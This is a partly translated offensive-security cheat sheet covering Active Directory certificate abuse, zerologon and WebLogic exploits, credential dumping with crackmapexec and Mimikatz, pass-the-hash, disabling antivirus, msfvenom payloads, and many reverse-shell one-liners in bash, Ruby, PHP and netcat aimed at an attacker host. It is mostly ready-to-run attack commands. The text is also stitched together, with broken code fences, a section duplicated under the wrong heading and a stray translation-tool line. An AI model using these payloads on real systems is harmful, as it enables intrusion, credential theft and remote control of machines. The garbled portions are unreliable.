或```bash
bash$ responder-RunFinger

## Crackmapexec v 4.0

根据SMB信息扫描网络范围```bash
bash$ cme smb 192.168.1.1/24

高强度扫描（不推荐）：```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP 

## Angry IP Scanner

从以下链接下载工具：
[Angry IP Scanner](http://angryip.org/download/#linux)
* 更改首选项设置
> 前往：首选项 -> 端口 -> 在端口选择中添加 80,445,554,21,22 <br>
> 前往：首选项 -> 显示 -> 选择存活主机 <br>
> 前往：首选项 -> Ping -> 选择组合模式（UDP/TCP）

# 横向移动与利用

### Active Directory 证书服务
此部分内容复制自 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>更多详情请查看：https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

（已在私有环境中测试（Bloodhound 后接 ESC1 利用））
* 查找 ADCS 服务器
  * `crackmapexec ldap domain.lab -u username -p password -M adcs`
  * `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* 使用 certutil 枚举 AD 企业 CA：`certutil.exe -config - -ping`，`certutil -dump`

#### ESC1 - 配置错误的证书模板

> 域用户可在 **VulnTemplate** 模板中注册，该模板可用于客户端身份验证，并设置了 **ENROLLEE_SUPPLIES_SUBJECT** 标志。这允许任何人在此模板中注册，并指定任意使用者可选名称（例如作为域管理员）。允许在证书主题之外绑定其他标识。

要求：
* 模板允许 AD 身份验证
* **ENROLLEE_SUPPLIES_SUBJECT** 标志
* [PKINIT] 客户端身份验证、智能卡登录、任何用途或无 EKU（扩展/增强密钥用法）

利用方法：
* 使用 [Certify.exe](https://github.com/GhostPack/Certify) 检查是否存在易受攻击的模板
    ```ps1
    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # 或
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # 或
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    ```
* 使用 Certify、[Certi](https://github.com/eloypgz/certi) 或 [Certipy](https://github.com/ly4k/Certipy) 请求证书并添加替代名称（要模拟的用户）
    ```ps1
    # 在提升的命令提示符下使用 "/machine" 参数执行 Certify，为机器账户请求证书。
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
    ```
* 使用 OpenSSL 转换证书，不要输入密码
    ```ps1
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    ```
* 将 cert.pfx 移动到目标机器的文件系统，并使用 Rubeus 为替代名称用户请求 TGT
    ```ps1
    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    ```

**警告**：即使该用户或计算机重置了密码，这些证书仍然可用！

**注意**：留意 **EDITF_ATTRIBUTESUBJECTALTNAME2**、**CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**、**ManageCA** 标志，以及针对 AD CS HTTP 端点的 NTLM 中继。

#### ESC2 - 配置错误的证书模板

要求：
* 允许请求者在 CSR 中指定使用者可选名称（SAN），并允许任意用途的 EKU（2.5.29.37.0）

利用方法：
* 查找模板  ```ps1
  PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'

#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 

> 如果此标志在 CA 上设置，那么任何请求（包括从 Active Directory 构建的主题）都可以在主题备用名称中包含用户定义的值。

利用方法：
* 使用 [Certify.exe](https://github.com/GhostPack/Certify) 检查 **UserSpecifiedSAN** 标志状态，该标志指向 `EDITF_ATTRIBUTESUBJECTALTNAME2` 标志。
    ```ps1
    Certify.exe cas
    ```
* 为某个模板请求证书并添加备用名称，即使默认的 `User` 模板通常不允许指定备用名称。
    ```ps1
    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    ```

缓解措施：   
* 移除该标志：`certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`


#### ESC7 - 易受攻击的证书颁发机构访问控制

利用方法：
* 检测允许低权限用户具有 `ManageCA` 或 `Manage Certificates` 权限的 CA。
    ```ps1
    Certify.exe find /vulnerable
    ```
* 更改 CA 设置，为易受攻击的 CA 下的所有模板启用 SAN 扩展（ESC6）
    ```ps1
    Certify.exe setconfig /enablesan /restart
    ```
* 请求包含所需 SAN 的证书。
    ```ps1
    Certify.exe request /template:User /altname:super.adm
    ```
* 如果需要审批则授予审批，或禁用审批要求
    ```ps1
    # 授予
    Certify.exe issue /id:[请求ID]
    # 禁用
    Certify.exe setconfig /removeapproval /restart
    ```

从 **ManageCA** 到 ADCS 服务器上的 **RCE** 的替代利用方法：```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

注意，我们有 `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`

### 更改密码
我们可以使用以下任一工具：
- https://github.com/fortra/impacket/blob/master/examples/changepasswd.py
- https://github.com/api0cradle/impacket/blob/a1d0cc99ff1bd4425eddc1b28add1f269ff230a6/examples/rpcchangepwd.py```bash
python3 rpcchangepwd.py <domain>/<computer account>\$:<password>@<IP> -newpass P@ssw0rd                           31s
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Password was changed successfully.

**- 参考：https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/**

---

### 利用 CVE-2021-42278 和 CVE-2021-42287
下载利用脚本 https://github.com/WazeHell/sam-the-admin```bash
bash$ python3 sam_the_admin.py "<domain_name>/<username>:<password>" -dc-ip <DC_IP>

如果目标存在漏洞，扫描器将显示以下输出：
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/scanner.png" alt="zerologon scanner">
### 利用zerologon
- 该漏洞能够重置域管理员密码，我们也可以改用zer0dump利用工具 https://github.com/bb00/zer0dump
- 导出管理员密码（如果只针对单个用户，请修改用户名）

<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/dump-Administrator-Password.png" alt="导出NTLM" >

通过哈希传递获得RCE
<img src="https://raw.githubusercontent.com/ihebski/A-Red-Teamer-diaries/master/zerologon/get_RCE_psexec.png" alt="RCE">

> 所提供的截图仅来自用于概念验证测试的个人实验室，在生产环境的域控制器上运行该漏洞时请务必小心（在红队行动期间）

## BIGIP F5 CVE-2020-5902
检查目标是否存在漏洞```bash
curl -sk 'https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

如果指定了多个主机，请使用 -l 参数 -> -l bigip-assets.txt
* Nmap```bash
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve2020-5902.nse
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse

此模块有时会失败，请使用 -proxy-url http://127.0.0.1:8080 将流量重定向到 Burpsuite 并进行调查。
## 利用 Weblogic CVE-2020-14882 - RCE```bash
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
cmd: chcp 65001&&whoami&&ipconfig
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1258

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

如果目标存在漏洞，输出如下：

Script Output<br>
Host script results:```bash
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

## Mimikatz - Metasploit

在获得meterpreter shell后，我们需要确保我们的会话以**系统级权限**运行，以便Mimikatz正常工作。```bash
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

## Mimikatz on Linux
如果没有可用的虚拟机
### 步骤 1```bash
winetricks msasn1

# Privilege Escalation of Windows 

### JuicyPotato```bash
JuicyPotato.exe -l <PORT> -p c:\windows\system32\cmd.exe -t * 

### Windows 提升 UAC 保护绕过```bash
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit

### Windows 提升 UAC 保护绕过（脚本主机漏洞）```bash
msf > use windows/local/bypassuac_vbs
msf exploit(bypassuac_vbs) > set session 1
msf exploit(bypassuac_vbs) > exploit

### MS16-032 辅助登录句柄权限提升 Windows 7 32 位```bash
msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit

## Crackmapexec V4.0

枚举目标```
bash$ cme smb <target> 

Access to machine using the NTLM hash (if u see PWN3D the user hash administrator priveleges )```
bash$ cme smb <target> -u username -H hash

枚举活跃会话```
bash$ cme smb <target> -u username -p password --sessions

执行指定的命令```
bash$ cme smb <target> -u username -p password -x 'whoami'

获取哈希```
bash$ cme smb <target> -u username -p password --sam

### 测试空/来宾身份验证并列出共享```bash
crackmapexec smb targets.txt -u '' -p '' --shares

``````bash
crackmapexec smb targets.txt -u 'Guest' -p '' --shares

(empty)```bash
crackmapexec ldap <domain> -u users.txt -p "" -k

### Bloodhound```bash
crackmapexec ldap <domain> -u <username> -p <password> --bloodhound -ns <ip> --collection All

### 凭证喷洒```bash
crackmapexec smb targets.txt -u <username> -p <password>

The input contains no text to translate.```bash
crackmapexec ldap <domain> -u users.txt -p <password> --no-bruteforce --continue-on-success

### 列出共享```bash
crackmapexec smb targets.txt -u <username> -p <password> -k --shares

#### 转储所有文件```bash
crackmapexec smb <domain> -u <username> -p <password> -M spider_plus -o READ_ONLY=false

### MSSQL
#### 测试身份验证```bash
crackmapexec mssql targets.txt -u <username> -p <password>

#### 获取文件```bash
crackmapexec mssql <domain> -u <username> -p <password> --get-file <output_file> <target_file>

### 转储 LSA 机密```bash
crackmapexec smb <domain> -u <username> -p <password> --local-auth --lsa

- 使用 `--gmsa-decrypt-lsa` 解密 lsa 中的 gmsa 账户：```bash
crackmapexec ldap <domain> -u <username> -p <password> --gmsa-decrypt-lsa <gmsa_account>

### 转储 dpapi 的凭据```bash
crackmapexec smb targets.txt -u <username> -p <password> --laps --dpapi

### 参考
- https://github.com/mpgn/CrackMapExec
- https://wiki.porchetta.industries/smb-protocol/scan-for-vulnerabilities


## Crackmapexec 到 Empire 代理

首先设置一个 Empire 监听器：```
(Empire: listeners) > set Name test
(Empire: listeners) > set Host 192.168.10.3
(Empire: listeners) > set Port 9090
(Empire: listeners) > set CertPath data/empire.pem
(Empire: listeners) > run
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.10.3:9090                 native    5/0.0                      

(Empire: listeners) > 

CME用于认证Empire的RESTful API的用户名和密码存储在位于~/.cme/cme.conf的cme.conf文件中：```
[Empire]
api_host=127.0.0.1
api_port=1337
username=empireadmin
password=Password123!

[Metasploit]
rpc_host=127.0.0.1
rpc_port=55552
password=abc123

# Crackmapexec 到 Meterpreter
我们可以使用 metinject 模块，通过 PowerSploit 的 Invoke-Shellcode.ps1 脚本直接将 meterpreter 注入内存中。

首先设置你的 handler:```
msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.10.3
LHOST => 192.168.10.3
msf exploit(handler) > set exitonsession false
exitonsession => false
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.10.3:8443
msf exploit(handler) > [*] Starting the payload handler...

# 从 Empire 传递 shell 到 Meterpreter metasploit 

metasploit listner 选项```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set lhost 192.168.1.110
lhost => 192.168.1.110
msf exploit(handler) > set lport 2286
lport => 2286
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set SessionCommunicationTimeout 0
SessionCommunicationTimeout => 0
msf exploit(handler) > exploit -j

# DeathStar```
# Start the Empire console and RESTful API
python empire --rest --username empireadmin --password Password123

# Windows cmd.exe 命令

## 添加用户```
net user /add [username] [password]

## 将用户添加到 RDP 组```
NET LOCALGROUP "Remote Desktop Users" keyoke /ADD

真实示例 :<br>```
pth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe

将 powershell 命令复制到通过 pth_winexe 打开的 cmd 中
# Active Directory```
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]:https://raw.githubusercontent.com/ihebski/a-red-teamer-diaries/master/:GetCurrentDomain()

# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]:https://raw.githubusercontent.com/ihebski/a-red-teamer-diaries/master/:GetCurrentForest()

# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

# get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain

# get DC for currently authenticated session
nltest /dsgetdc:offense.local

# get domain trusts from cmd shell
nltest /domain_trusts

# get user info
nltest /user:"spotless"

# get DC for currently authenticated session
set l

# get domain name and DC the user authenticated to
klist

# get all logon sessions. Includes NTLM authenticated sessions
klist sessions

# kerberos tickets for the session
klist

# cached krbtgt
klist tgt

# whoami on older Windows systems
set u

# Symantec AV Bypass```
During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem:
First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)

$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system

Then let's Stop the AV  Service

cd "C:\Program Files\Symantec\Symantec Endpoint Protection"
smc.exe -stop

Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS 
so we used a reverse_https listener and psexec_psh to bypass it:
mohamed@KeyStrOke:~$ msfconsole
use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse_https
set StageEncoder x86/shikata_ga_nai
set EnableStageEncoding true
set SMBUSER USERNAME
set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb
set lhost IP
set lport 443
exploit -j
and BOOM   :D
Server username: NT AUTHORITY\SYSTEM
Enjoy your Session

# 网络

### Nmap 完整 Web 漏洞扫描```
cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

### Nikto Web服务器扫描器```
nikto -C all -h http://IP

### HTTP 指纹识别```
wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt

### SKIP Fish Scanner```
skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

### NC 扫描```
nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

### Xprobe2 操作系统指纹识别```
xprobe2 -v -p tcp:80:open IP

### SNMP枚举```
snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

### PuTTY 链接隧道```
Forward remote port to local address
cmd.exe /c echo y | .\plink.exe -P 22 -l <USER> -pw "password" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT <IP> 2>&1

### 启用 RDP 访问```
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

### Meterpreter VNC\RDP```
git clone https://github.com/gentilkiwi/mimikatz.git
privilege::debug
sekurlsa::logonPasswords full

### 哈希传递```
git clone https://github.com/byt3bl33d3r/pth-toolkit
pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11
xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

or

meterpreter > run post/windows/gather/hashdump
Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
meterpreter > shell

### Netcat 示例```
c:> nc -l -p 31337
#nc 192.168.0.10 31337
c:> nc -v -w 30 -p 31337 -l < secret.txt
#nc -v -w 2 192.168.0.10 31337 > secret.txt

### Window 反向 shell```
c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

### Python 交互式解释器```
python -c 'import pty;pty.spawn("/bin/bash")'

### 获取进程PID```
fuser -nv tcp 80
fuser -k -n tcp 80

### 挂载远程Windows共享```
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

### 在Kali上编译Windows漏洞利用程序```
c:>nc -Lp 31337 -vv -e cmd.exe
nc 192.168.0.10 31337
c:>nc example.com 80 -e cmd.exe
nc -lp 80

nc -lp 31337 -e /bin/bash
nc 192.168.0.10 31337
nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

### NASM 命令```
nasm -f bin -o payload.bin payload.asm
nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

### 从一个网络到另一个网络的SSH跳转```
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target

### 使用CSV文件搜索Exploit-DB```
git clone https://github.com/offensive-security/exploit-database.git
cd exploit-database
./searchsploit –u
./searchsploit apache 2.2
./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

### MSF Linux Reverse Meterpreter Binary```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell

### MSF 反向Shell Python脚本```
msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

### MSF 反向 Bash Shell```
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh

### MSF 反向 Windows 二进制```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe

### Win 缓冲区溢出利用命令```
msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS:
\x00\x0a\x0d\x20                              For http request
\x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c           Ending with (0\n\r_)

# Useful Commands:
pattern create
pattern offset (EIP Address)
pattern offset (ESP Address)
add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000
!pvefindaddr suggest
!pvefindaddr modules
!pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona\%p
!mona config -get workingfolder
!mona mod
!mona bytearray -b "\x00\x0a"
!mona pc 5000
!mona po EIP
!mona suggest

### ROP (DEP)```
# https://en.wikipedia.org/wiki/Return-oriented_programming
# https://en.wikipedia.org/wiki/Data_Execution_Prevention
!mona modules
!mona ropfunc -m *.dll -cpb "\x00\x09\x0a"
!mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

### EGG Hunter 技术```
# https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
# http://www.fuzzysecurity.com/tutorials/expDev/4.html
!mona jmp -r esp
!mona egg -t lxxl
\xeb\xc4 (jump backward -60)
buff=lxxllxxl+shell
!mona egg -t 'w00t'

### BASH 反弹 Shell```
bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0
exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or:
while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1
/bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

### RUBY 反向 Shell```
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# for win platform
ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

### PHP反向Shell```
php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

### NETCAT 反向Shell```
nc -e /bin/sh attackerip 4444
nc -e /bin/sh 192.168.37.10 443

# If the -e option is disabled, try this
# mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 443
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

# If you have the wrong version of netcat installed, try
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

### XTERM 反向Shell```
# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

# Then remember to authorise on your system the target IP to connect to you
xterm -display 127.0.0.1:1

# Run this INSIDE the spawned xterm on the open X Server
xhost +targetip

# Then on the target connect back to the your X Server
xterm -display attackerip:1
/usr/openwin/bin/xterm -display attackerip:1
or
$ DISPLAY=attackerip:0 xterm

### 通过SCTP的SSH（使用Socat）```
# on remote server
# assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP
$ socat SCTP-LISTEN:80,fork TCP:localhost:22

# localhost
# replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)
$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

# create socks proxy
# replace username and -p port value as needed...
$ ssh -lusername localhost -D 8080 -p 1337

### Tor 网络地址转换穿透```
# install to server
$ apt-get install tor torsocks

# bind ssh to tor service port 80
# /etc/tor/torrc
SocksPolicy accept 127.0.0.1
SocksPolicy accept 192.168.0.0/16
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 80 127.0.0.1:22
PublishServerDescriptor 0
$ /etc/init.d/tor start
$ cat /var/lib/tor/ssh_hidden_service/hostname
3l5zstvt1zk5jhl662.onion

# ssh connect from client
$ apt-get install torsocks
$ torsocks ssh [email protected] -p 80

### Metagoofil 元数据收集工具```
# http://www.edge-security.com/metagoofil.php
#automate search engine document retrieval and analysis. It also has the capability to provide MAC
# addresses, username listings, and more
$ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html

### Nmap – 绕过防火墙的技术```
# fragmentation
$ nmap -f

# change default MTU size number must be a multiple of 8 (8,16,24,32 etc)
$ nmap --mtu 24

# Generates a random number of decoys
$ nmap -D RND:10 [target]

# Manually specify the IP addresses of the decoys
$ nmap -D decoy1,decoy2,decoy3 etc.

# Idle Zombie Scan, first t need to find zombie ip
$ nmap -sI [Zombie IP] [Target IP]

# Source port number specification
$ nmap --source-port 80 IP

# Append Random Data to scan packages
$ nmap --data-length 25 IP

# MAC Address Spoofing, generate different mac for host pc
$ nmap --spoof-mac Dell/Apple/3Com IP

### 使用 Docker 获取 Root 权限```
# get root with docker
# user must be in docker group
ek@victum:~/docker-test$ id
uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker)

ek@victum:~$ mkdir docker-test
ek@victum:~$ cd docker-test

ek@victum:~$ cat > Dockerfile
FROM debian:wheezy

ENV WORKDIR /stuff

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR
<< EOF

ek@victum:~$ docker build -t my-docker-image .
ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c \
'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh'
./sh
whoami
# root

ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow'

### 编译汇编代码```
nasm -f elf32 simple32.asm -o simple32.o
ld -m elf_i386 simple32.o simple32

nasm -f elf64 simple.asm -o simple.o
ld simple.o -o simple

### Patator 是一个多用途暴力破解工具```
# git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP bruteforce
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
